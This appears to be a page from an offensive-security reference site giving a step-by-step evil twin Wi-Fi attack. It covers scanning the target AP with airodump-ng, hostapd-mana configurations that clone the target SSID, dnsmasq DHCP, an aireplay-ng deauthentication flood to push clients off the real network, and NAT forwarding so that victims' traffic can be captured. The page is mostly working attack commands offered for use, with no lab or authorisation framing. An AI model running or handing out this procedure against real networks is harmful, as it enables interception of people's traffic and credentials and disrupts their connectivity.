Skip to content
HackIndex logo

HackIndex

Evil Twin AP with hostapd-mana and Aireplay-ng

2 min read Jul 10, 2026

An evil twin AP impersonates a legitimate access point by broadcasting the same SSID and BSSID on a stronger or equivalent signal. Clients that disconnect from the legitimate AP and reconnect to the evil twin send their traffic through the attacker's system. Combined with a captive portal or transparent proxy, this enables credential capture, traffic interception, and SSL stripping against connected clients.

This page covers setting up the evil twin AP itself and forcing clients onto it. Captive portal credential harvesting is covered on the next page.

Gather Target AP Information

Before setting up the evil twin, collect the exact SSID, BSSID, channel, and encryption type from the target:

┌──(kali㉿kali)-[~]
└─$ airodump-ng wlan0mon
 BSSID              PWR  CH   MB   ENC   AUTH  ESSID
 AA:BB:CC:DD:EE:FF  -48   6  130  WPA2  PSK   TargetNetwork

Create the hostapd-mana Configuration

For a WPA2 Personal evil twin, configure hostapd-mana to broadcast the same SSID on the target channel. Use a second wireless interface (wlan1) for the AP so wlan0 remains free for deauthentication:

┌──(kali㉿kali)-[~]
└─$ cat > /tmp/evil-twin.conf << 'EOF'
interface=wlan1
ssid=TargetNetwork
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=placeholder
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
mana_wpe=0
mana_loud=1
EOF

mana_loud=1 enables loud mode which actively probes for clients searching for the target SSID, improving the chance clients connect to the evil twin over the legitimate AP. The wpa_passphrase here is a placeholder — if the goal is to capture the actual WPA handshake for cracking rather than traffic interception, the client will fail to authenticate but still produce a capturable handshake attempt.

For an open evil twin that accepts all connections without a passphrase:

┌──(kali㉿kali)-[~]
└─$ cat > /tmp/evil-twin-open.conf << 'EOF'
interface=wlan1
ssid=TargetNetwork
hw_mode=g
channel=6
auth_algs=1
mana_loud=1
EOF

Set Up DHCP with dnsmasq

Clients need an IP address after connecting. Assign a static IP to the AP interface first, then run dnsmasq to serve DHCP:

┌──(kali㉿kali)-[~]
└─$ ip addr add 192.168.99.1/24 dev wlan1
┌──(kali㉿kali)-[~]
└─$ ip link set wlan1 up
┌──(kali㉿kali)-[~]
└─$ dnsmasq --interface=wlan1 --dhcp-range=192.168.99.2,192.168.99.254,255.255.255.0,12h --no-daemon

Start the Evil Twin AP

┌──(kali㉿kali)-[~]
└─$ hostapd-mana /tmp/evil-twin-open.conf
wlan1: AP-ENABLED
wlan1: AP-STA-CONNECTED CC:DD:EE:FF:AA:BB

Deauthenticate Clients from the Legitimate AP

Use the first adapter in monitor mode to force clients off the legitimate AP and onto your evil twin:

┌──(kali㉿kali)-[~]
└─$ aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0mon

Stop the deauth once clients start connecting to the evil twin. Continuous deauth prevents reconnection entirely — send a burst then stop and observe.

Enable IP Forwarding for Traffic Interception

To pass connected client traffic through to the internet while intercepting it:

┌──(kali㉿kali)-[~]
└─$ echo 1 > /proc/sys/net/ipv4/ip_forward
┌──(kali㉿kali)-[~]
└─$ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Replace eth0 with your internet-connected interface. Once IP forwarding is active, connected clients have internet access through your machine and all their traffic passes through it. Use Wireshark, tshark, or bettercap on wlan1 to capture and analyse the traffic.

References